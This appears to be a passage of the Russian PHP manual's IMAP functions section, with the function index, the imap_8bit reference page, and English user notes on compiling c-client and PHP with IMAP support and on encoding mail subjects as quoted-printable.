Данный документ не может вдаваться в детали всех вопросов, затронутых представленными функциями. Дополнительная информация представлена в документации клиентской библиотеки (docs/internal.txt) и в следующих документах RFC:

  • » RFC2821: Simple Mail Transfer Protocol (SMTP).
  • » RFC2822: Standard for ARPA internet text messages.
  • » RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.
  • » RFC1939: Post Office Protocol Version 3 (POP3).
  • » RFC977: Network News Transfer Protocol (NNTP).
  • » RFC2076: Common Internet Message Headers.
  • » RFC2045 , » RFC2046 , » RFC2047 , » RFC2048 & » RFC2049: Multipurpose Internet Mail Extensions (MIME).
Детальное описание также доступно в книгах » Programming Internet Email Дэвида Вуда (David Wood) и » Managing IMAP авторов Дианы Маллет (Dianna Mullet) и Кевина Маллет (Kevin Mullet).

Содержание

  • imap_8bit — Конвертирует 8-битную строку в строку в формате quoted-printable
  • imap_alerts — Возвращает все произошедшие предупредительные сообщения IMAP
  • imap_append — Добавляет строковое сообщение в указанный почтовый ящик
  • imap_base64 — Декодировать текст закодированный BASE64
  • imap_binary — Конвертирует 8-битную строку в строку base64
  • imap_body — Прочитать тело сообщения
  • imap_bodystruct — Прочитать структуру указанной секции тела заданного сообщения
  • imap_check — Проверить текущий почтовый ящик
  • imap_clearflag_full — Снять с сообщения установленные флаги
  • imap_close — Закрыть поток IMAP
  • imap_create — Псевдоним imap_createmailbox
  • imap_createmailbox — Создать новый почтовый ящик
  • imap_delete — Пометить сообщение для удаления
  • imap_deletemailbox — Удалить почтовый ящик
  • imap_errors — Получить все произошедшие ошибки IMAP
  • imap_expunge — Удалить все помеченные для удаления сообщения
  • imap_fetch_overview — Обзор информации, содержащейся в заголовках сообщений
  • imap_fetchbody — Извлечь конкретную секцию тела сообщения
  • imap_fetchheader — Получить заголовок сообщения
  • imap_fetchmime — Извлечь MIME-заголовки для конкретной секции сообщения
  • imap_fetchstructure — Прочитать структуру указанного сообщения
  • imap_fetchtext — Псевдоним imap_body
  • imap_gc — Очистить кеш IMAP
  • imap_get_quota — Получить настройку уровня квоты и статистику использования почтовых ящиков
  • imap_get_quotaroot — Получить настройки квоты для каждого пользователя
  • imap_getacl — Получить ACL для заданного почтового ящика
  • imap_getmailboxes — Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них
  • imap_getsubscribed — Список всех почтовых ящиков, на которые вы подписаны
  • imap_header — Псевдоним imap_headerinfo
  • imap_headerinfo — Прочитать заголовок сообщения
  • imap_headers — Получить заголовки всех сообщений в почтовом ящике
  • imap_is_open — Проверяет, является ли поток IMAP всё ещё корректным
  • imap_last_error — Получить последнюю ошибку IMAP в текущем запросе
  • imap_list — Прочитать список почтовых ящиков
  • imap_listmailbox — Псевдоним imap_list
  • imap_listscan — Получить список почтовых ящиков, имена которых содержат заданную строку
  • imap_listsubscribed — Псевдоним imap_lsub
  • imap_lsub — Список всех подписанных почтовых ящиков
  • imap_mail_compose — Создать MIME-сообщение на основе заданных обёртки и тела
  • imap_mail_copy — Скопировать сообщения в указанный почтовый ящик
  • imap_mail_move — Переместить указанные сообщения в указанный почтовый ящик
  • imap_mail — Отправить email
  • imap_mailboxmsginfo — Получить информацию о текущем почтовом ящике
  • imap_mime_header_decode — Декодировать элементы заголовка
  • imap_msgno — Получить номер сообщения с заданным UID
  • imap_mutf7_to_utf8 — Декодировать изменённую строку UTF-7 в UTF-8
  • imap_num_msg — Получить количество сообщений в текущем почтовом ящике
  • imap_num_recent — Получить количество новых сообщений в текущем почтовом ящике
  • imap_open — Открывает поток IMAP к почтовому ящику
  • imap_ping — Проверить, активен ли ещё поток IMAP
  • imap_qprint — Преобразовать строку из формата "quoted-printable" в 8-битную строку
  • imap_rename — Псевдоним imap_renamemailbox
  • imap_renamemailbox — Переименовать почтовый ящик
  • imap_reopen — Переоткрывает поток IMAP к новому ящику
  • imap_rfc822_parse_adrlist — Разбор адресной строки
  • imap_rfc822_parse_headers — Разбор строки заголовка письма
  • imap_rfc822_write_address — Получить корректно сформированный e-mail адрес, заданный именем ящика, хоста и персональной информацией
  • imap_savebody — Сохранить часть тела сообщения в файл
  • imap_scan — Псевдоним imap_listscan
  • imap_scanmailbox — Псевдоним imap_listscan
  • imap_search — Получить сообщения, удовлетворяющие заданным критериям
  • imap_set_quota — Установить квоту для заданного почтового ящика
  • imap_setacl — Установка ACL для заданного почтового ящика
  • imap_setflag_full — Установить флаги на сообщения
  • imap_sort — Получить и отсортировать сообщения
  • imap_status — Получить информацию по статусу почтового ящика
  • imap_subscribe — Подписаться на почтовый ящик
  • imap_thread — Получить дерево связанных сообщений
  • imap_timeout — Установить или получить время ожидания imap
  • imap_uid — Получить UID по номеру сообщения
  • imap_undelete — Снимает с сообщения метку удаления
  • imap_unsubscribe — Отписаться от почтового ящика
  • imap_utf7_decode — Декодирует строку из модифицированной кодировки UTF-7
  • imap_utf7_encode — Преобразует строку ISO-8859-1 в модифицированную UTF-7
  • imap_utf8_to_mutf7 — Кодировать строку UTF-8 в изменённую UTF-7
  • imap_utf8 — Преобразует MIME-кодированный текст в UTF-8

User Contributed Notes

Eelco 21-Apr-2011 02:41
I used the instructions from Chris (thanks Chris) to recompile the imap.so module for CentOS 5 (PHP 5.2.11). I didn't want to recompile all PHP extensions only imap.so.

So here is my version of recompiling imap.so for PHP 5.2.11 based on the instructions of Chris.

0) Install the dependencies
yum groupinstall "Development Tools"
yum install openssl-devel
yum install krb5 krb5-devel
yum install pam-devel
1) Create a temporary folder and cd to it.
# mkdir ~/php-imap && cd ~/php-imap
2) Download c-client.tar.Z
# wget ftp://ftp.cac.washington.edu/imap/c-client.tar.Z
3) Extract the c-client.tar.Z file, which would create the imap-2007e folder at this moment.
# tar -zxf c-client.tar.Z
4) Download php source code using. Use the version of the php installed on the machine (php --version)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package
# wget http://3es.atomicrocketturtle.com/packages/ php/php-5.2.11-3.art.src.rpm
# rpm2cpio php-5.2.11-3.art.src.rpm | cpio -idmv
# tar xvjf php-5.2.11.tar.bz2
5) Install php-imap plugin using or you can simply just add the php ini file for the imap.so extension
# sudo yum install php-imap
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client.
# make lr5  IP6=4
8) Go to the php source folder and run the configure script with the following arguments:
# ./configure --disable-all --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl --with-openssl=/usr
9) Compile php
# make
10) Copy/replace the imap.so file from the ./modules folder to the php module folder.
# sudo cp ./modules/imap.so /usr/lib64/php/modules
11) Restart Apache
# sudo /etc/init.d/httpd restart
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!
chris dot kistner at gmail dot com 06-Jan-2011 04:57
The IMAP php plugin doesn't work by default with Microsoft Exchange 2007 server, so I had to recompile php with the c-client without Kerberos support.

Also, I wanted to compile it as a shared library (imap.so).

The quick and easy way that I've used to do this on Fedora Core 13 & 14 x64 was:
1) Create a temporary folder and cd to it.
2) Download c-client.tar.Z from ftp://ftp.cac.washington.edu/imap/
3) Extract the c-client.tar.Z file, using 'tar -zxf c-client.tar.Z', which would create the imap-2007e folder at this moment.
4) Download php source code using 'yumdownloader --source php' *(a)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package *(b)
5) Install php-imap plugin using 'sudo yum install php-imap', or you can simply just add the php ini file for the imap.so extension
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client. I had to use 'make lfd IP6=4'
8) Go to the php source folder and run the configure script with the following arguments: './configure --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl'
eg. I used './configure --with-imap=shared,/home/chris/imap-2007e --with-imap-ssl'
9) Compile php by simply running 'make' *(c)
10) Copy/replace the imap.so file from the ./modules folder to your PC's php module folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php/modules'
11) Restart Apache: 'sudo service httpd restart'
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!

There are slight differences in achieving the same in Ubuntu 10.04 x64 (or perhaps other versions too):
4) Download php source code using 'apt-get source php5', which will create a php5-* source folder
5) Install the php5-imap plugin using 'sudo apt-get install php5-imap'
7) Compile c-client. I had to use 'make ldb IP6=4'
10) Copy/replace the imap.so file from the ./modules folder to your PC's php folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php5/20090626'
11) Restart Apache: 'sudo service apache2 restart'

* Notes:
(a) yumdownloader is part of yum-utils package, which can be installed using 'yum install yum-utils'
(b) You can extract the rpm file using 'rpm2cpio php-*.src.rpm | cpio -idmv'
(c) You can greatly improve the compilation speed on a multi-core PC using 'make -j `grep -c ^processor /proc/cpuinfo`'
bigben3333 - gmail 22-Feb-2008 06:23
I've tried to compile php with imap sources for 2 days on a mandriva 2006 and it never work...

I succeed only when i uninstall the following RPM witch was already installed on my system :

libc-client
libc-client-devel
imap
imap-devel

here is my configure command :

./configure  --with-apache=/usr/local/apache --with-dbase --with-filepro --enable-mbstring --with-xml=/usr/local/php --enable-ftp --with-db --enable-bcmath --enable-calendar --with-mysql --with-zlib-dir --enable-trans-sid --with-imap=/usr/local/imap-2004g --with-kerberos --with-imap-ssl --with-openssl --enable-sysvsem --enable-sysvshm
kvazitron at gmail dot com 11-Feb-2008 02:48
I successfully installed c-client and compiled php 5.2.5 with imap on FreeBSD 6.3. To get this stuff work, i did following steps:

1) to install c-client:

download and uncompress c-client.tar.Z to folder /usr/local/
cd /usr/local/imap-2007
make bsf
mkdir include
ln -s c-client include
mkdir lib
cd lib
ln -s ../c-client/c-client.a libc-client.a

2) to compile php:
add this options
--with-imap=/usr/local/imap-2007 --with-imap-ssl
mogmios at gmail dot com 19-Oct-2007 12:36
In Fedora Core 6 64 bit w/ a custom compiled copy of Apache and PHP 4 I had to add packages libc-client*x84_64 and then just used config options --with-imap --with-kerberos --with-imap-ssl.
gpayne at galenaparkisd com 07-Aug-2007 12:48
You can also use the novalidate-cert flag and it won't bother you about the ssl stuff:

$mailbox = imap_open("{localhost:143/imap/novalidate-cert}INBOX", "user","pw");
mleiv 26-Jul-2007 04:12
MAC OSX advice for those less experienced in UNIX.

I had a lot of trouble with all the advice here, but I finally got it working, so I thought I'd leave my steps.  If you know a decent amount about UNIX you can probably do better on you own.
#1) downloaded version listed by php.net above.
#2) ran "make opx" on it (the three-letter is your OS, opx is later osx versions)
#3) copied resulting c-client/ folder to where I wanted to leave my imap stuff, herafter referred to as IMAP_HOME.
#4) renamed IMAP_HOME/c-client/c-client.a to libc-client.a
#5) ran "configure" on php using --with-imap=IMAP_HOME --with-kerberos  --with-imap-ssl (my configure insisted that I use the last two)
#6) make, make install, and restarted Apache.  Voila!

At this point you can delete the downloaded imap stuff, or move it to your sources/ folder or whatever.
bogdanderen at mail dot ru 07-Jul-2007 06:41
INSTALLING IMAP
   1. Log in as root:
      su -
   2. Download IMAP installation
   3. Untar the package:
      tar -zxf IMAP_PACKAGE_FILENAME
   4. Enter the source directory:
      cd IMAP_PACKAGE_DIRECTORY
   5. Build the package.
      # edit Makefile EXTRACFLAGS=-fPIC
      # make lrh
   6. Install the lib and include files:
      # mkdir /IMAP_DIR/lib
      # mkdir /IMAP_DIR/include
      # cp -r ./src/c-client/*.h /IMAP_DIR/include/
      # cp  ./c-client/linkage.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.c /IMAP_DIR/lib/
      # rm -rf all files and directories except /IMAP_DIR/include/ & /IMAP_DIR/lib/
   7. Create the osdep.h link:
      Linux:
      # ln -s ./include/c-client/os_slx.h \
      /IMAP_DIR/include/osdep.h

INSTALLING PHP (DO NOT --with-kerberos)
    --with-imap=/IMAP_DIR
eeescalona at yahoo dot com 20-Feb-2007 12:49
fyi.

I had an error during this process

*downloaded from ftp.cac.washington.edu  imap-2006e.tar.gz
*untarred it as /usr/local/src/imap-2006e.
*made lrh (make lrh)
*copied /usr...imap-2006e/c-client/c-client.a into ..../client/libc-client.a
*cd /usr/local/src/php-4.2.1/
*configured php using ... --with-imap=/usr/local/src/imap-2006e --with-ssl

*and during make the following error occurred.

php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
make[3]: *** [php_imap.lo] Error 1
make[3]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/php-4.2.1/ext'
make: *** [all-recursive] Error 1

apparently, apache 4.2.1 and imap-2006e has the same declared function which creates a duplication problem. the utf8_mime2text function is both found on files:

php-4.2.1/imap/php_imap.c (2 occurences)
imap-2006e/c-client/utf8aux.h (1 occurences)
imap-2006e/c-client/utf8aux.c (1 occurrences)
imap-2006e/c-client/mail.c (5 occrences)

bug fixers says i have to upgrade my php, but I cant afford to change versions since i run some home grown developed php software which doesnt work on higher versions.

So I did this.

I replaced all utf8_mime2text texts with utf8_mime2text2 for the imap sources.

since my server is both web and mysql, i used a built in mysql command called 'replace'

$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.h
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.c
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/mail.c

then i continued make and make install, without the reported error.

caveats...i just did this to try it. i dunno if it will work later...
couplewith at interpakr dot co dot kr 12-Feb-2007 05:37
imap-install
  1. tar xvzf c-client.tgz
  2. cd imap-2006e
  3. make lrh    # install redhat linux
  4. cp c-client/c-client.a  /usr/local/lib/libc-client.a
      copy head files
      c-client/rfc822.h, mail.h ? linkage.h
       /usr/local/include
       c-clinet/utf-8.h /usr/local/include
  5. if  U8T_CANONICAL undefined error
      edit php_src/ext/imap/php_imap.c

==add 53 line ==
#include <time.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
+#include "utf8.h"
   6. make php installatin step
Marplatense 23-Nov-2006 08:52
Compiling php with support for imap on a linux 64 bits server (tested with php 5.1.6, php 5.2.0, CentOS 4.4 64 bits and c-client snap 0611201609):

1- download the imap from ftp.
# tar -zxvf imap-2006d.DEV.tar.Z
# cd imap-2006d.DEV.SNAP-0611201609/
# vim MakeFile
2- Search for "EXTRACFLAGS=" and add -fPIC at then end:
    before EXTRACFLAGS=
    after   EXTRACFLAGS=-fPIC
3- save the file and quit
# make lrh
# cd c-client/
# cp /.../imap-2006d.DEV.SNAP-0611201609/c-client/c-client.a /.../imap-2006d.DEV.SNAP-0611201609/c-client/libc-client.a
4- navigate to your php directory and:
# ./configure ... lots of options here and ... --with-imap=/.../imap-2006d.DEV.SNAP-0611201609 --with-imap-ssl
# make
# make install

Additional notes:
a- I choose "lrh" in the make but you might check what's yours option.
b- I made it with ssl support and because of this I added the --with-imap-ssl in the php configure option. You might make it with no SSL
James Triplett <jm-php at vj8 dot net> 05-Apr-2006 07:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
    (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
BjarneDM macintosh at mathiesen dot info 20-Oct-2005 12:49
Mac OS X client install notes with DarwinPorts

The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
    --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
    --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net 07-Sep-2005 08:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
v dot 0000000001 dot -0006398047 at vertabiz dot com 23-Jun-2005 09:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

Others
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous 13-Apr-2005 12:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
    else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

    fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
    else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lk5crypto"
   ;;
  esac

    fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee 15-Feb-2005 05:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert 13-Jan-2005 08:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com 18-Nov-2004 12:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba   --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase   --enable-dbx     --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg   --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org 17-Jul-2004 03:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox 11-May-2004 06:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)


Конвертирует 8-битную строку в строку в формате quoted-printable

  • « Функции IMAP
  • imap_alerts »
  • PHP Manual
  • Функции IMAP
  • Конвертирует 8-битную строку в строку в формате quoted-printable

imap_8bit

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_8bit — Конвертирует 8-битную строку в строку в формате quoted-printable

Описание

imap_8bit(string $string): string|false

Конвертирует 8-битную строку в строку, закодированную механизмом quoted-printable (в соответствии с » RFC2045, раздел 6.7).

Список параметров

string

8-битная строка для конвертации

Возвращаемые значения

Возвращает строку формата quoted-printable или false в случае возникновения ошибки.

Смотрите также

  • imap_qprint() - Преобразовать строку из формата "quoted-printable" в 8-битную строку

User Contributed Notes

dave at jufer dot info 27-Aug-2015 09:18
Encode a mail-subject-string to a encoded-word according to RFC2047 with awareness of special characters and total-linelength of 75.
Example: "Subject Testa" -> "=?ISO-8859-1?Q?Subject_Test=E4?="
<?php
function getSubjectEncoded($_str,$_charset='ISO-8859-1'){
    // 27.08.2015 david jufer
    // Convert an 8bit string to a encoded-word string (according to RFC2047) www.ietf.org/rfc/rfc2047.txt
    // encoded-word = "=?" charset "?" encoding "?" encoded-text "?="
    // An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.
    // The "Q" encoding is similar to the "Quoted-Printable" content-transfer-encoding defined in RFC 2045
    $ret = '';
    $str = imap_8bit($_str);
    $len = 7+strlen($_charset);
    // remove linebreaks from imap_8bit, string chunks are too long
    $str = str_replace("=\r\n",'',$str);
    // insert linebreaks at right position, be aware of special chars ("a" "=E4") do not split them
    $s = 0;
    $l = 75-$len;
    while(strlen($str)>$s){
        $ts = $s;
        if(substr($str,($s+$l)-2,1)=='='){
            $s += $l-2;
        }else if(substr($str,($s+$l)-1,1)=='='){
            $s += $l-1;
        }else{
            $s += $l;
        }
        $ret .= "\r\n".substr($str,$ts,$s-$ts);
    }
    // remove first linebreak, replace SPACES with "_"
    $ret = str_replace(' ','_',trim($ret));
    // put together encoded-word
    $ret = '=?'.$_charset.'?Q?'.str_replace("\r\n","?=\r\n =?".$_charset."?Q?",$ret)."?=";
    // ruckgabe
    return $ret;
}
?>
Michael Konecny 12-Jun-2011 09:57
There is a bug in MS Exchange server, that improperly handles CRLFs. Seems like it converts both CR and LF into LF, so, instead of getting just a new line, you get TWO new lines.
The header information is then improperly parsed by the e-mail client, and is usually viewed in the message body.

This can make custom-created headers unusable.

The only way I found to get around this is to go against RFC rules for header formatting, and use only \n for new lines.

Unfortunately I haven't been able to learn the version of Exchange server where this happened, but I have the feeling that it's not just the one I was unlucky to encounter.

Hope this helps someone.
esh dot software at energiash dot com 02-Sep-2009 06:45
When producing quoted printable emails this is the right way

$subject="Subject: =?iso-8859-1?Q?". imap_8bit("aeiou"). "?=";

and the following would do the wrong thing, because qprint over "=ED" would produce 8bit data ( i ):

$subject="Subject: =?iso-8859-1?Q?". imap_qprint("=ED"). "?=";
Anonymous 22-Jun-2008 05:25
umu's code seems to work great. BUT if you are on a Unix system you should replace all chr(13).chr(10) with just chr(10)

Works for me anyway on php5.mail() -> qmail@suse10.1 -> outlook express
roman at REMOVETHIS dot teamnet dot com dot pl 11-May-2007 04:26
Code based on k dot kozlowski at enter dot pl but for UTF-8
(the only problem i encounter is SUBJECT_ENCODED_TWICE on SPAM test with very long subject, but the same produce others MUA's)
<?
function header_quoted_printable_encode($string, $encoding='UTF-8') {

    $string = str_replace(" ", "_", trim($string)) ;
    // We need to delete "=\r\n" produced by imap_8bit() and replace '?'
    $string = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($string))) ;

    // Now we split by \r\n - i'm not sure about how many chars (header name counts or not?)
    $string = chunk_split($string, 73);
    // We also have to remove last unneeded \r\n :
